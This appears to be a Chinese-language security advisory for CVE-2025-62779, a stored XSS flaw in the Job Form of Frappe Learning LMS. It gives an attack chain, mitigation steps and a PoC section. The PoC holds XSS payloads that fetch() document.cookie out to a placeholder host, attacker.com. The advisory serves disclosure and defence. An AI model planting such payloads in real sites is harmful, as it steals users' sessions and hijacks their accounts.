IPBUF安全漏洞报告
English
CVE-2025-62779 CVSS 5.4 中危

CVE-2025-62779 Frappe Learning LMS Job Form存储型XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-62779
漏洞类型
存储型XSS (Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Frappe Learning (LMS)

相关标签

存储型XSSCVE-2025-62779Frappe LearningLMSHTML注入Web安全认证要求低需要用户交互

漏洞概述

CVE-2025-62779是Frappe Learning LMS系统中存在的存储型跨站脚本(XSS)漏洞。该漏洞影响Frappe Learning 2.39.1及更早版本。攻击者可以通过Job Form的输入字段注入恶意HTML/JavaScript代码。由于该输入会被存储并在后续页面访问时执行,因此属于存储型XSS漏洞。此漏洞的CVSS评分为5.4(中危),攻击向量为网络,需要低权限认证和用户交互。攻击成功可导致窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或植入恶意内容等危害。

技术细节

Frappe Learning是一个用于帮助用户结构化学习内容的在线学习管理系统。在Job Form功能模块中,系统未对用户输入进行充分的HTML转义或过滤,允许用户提交包含HTML标签的内容。当其他用户访问包含恶意代码的页面时,浏览器会解析并执行这些注入的脚本代码。攻击者可以利用此漏洞在受害者的浏览器上下文中执行任意JavaScript代码,从而窃取敏感信息或执行恶意操作。漏洞存在于提交表单时的输入验证环节,以及数据渲染时的输出编码环节。修复需要在这两个环节都进行安全处理。

攻击链分析

STEP 1
步骤1
攻击者登录Frappe Learning LMS系统,进入Job Form功能模块
STEP 2
步骤2
在表单输入字段中注入恶意XSS payload,如<script>标签或事件处理器
STEP 3
步骤3
提交表单,恶意代码被存储到数据库中
STEP 4
步骤4
其他用户访问包含恶意内容的页面时,浏览器解析并执行注入的脚本
STEP 5
步骤5
攻击者通过JavaScript代码窃取用户会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-62779 PoC - Stored XSS in Frappe Learning Job Form --> <!-- Submit this payload in any Job Form input field --> <script>alert(document.cookie)</script> <!-- or --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- or more sophisticated payload --> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.domain+'|'+document.cookie))>

影响范围

Frappe Learning <= 2.39.1

防御指南

临时缓解措施
在修复补丁发布之前,可临时禁用Job Form功能或限制该功能的访问权限。同时可在前端和后端都增加输入验证规则,对特殊字符进行过滤或编码。建议管理员监控系统日志,关注异常的JavaScript代码注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表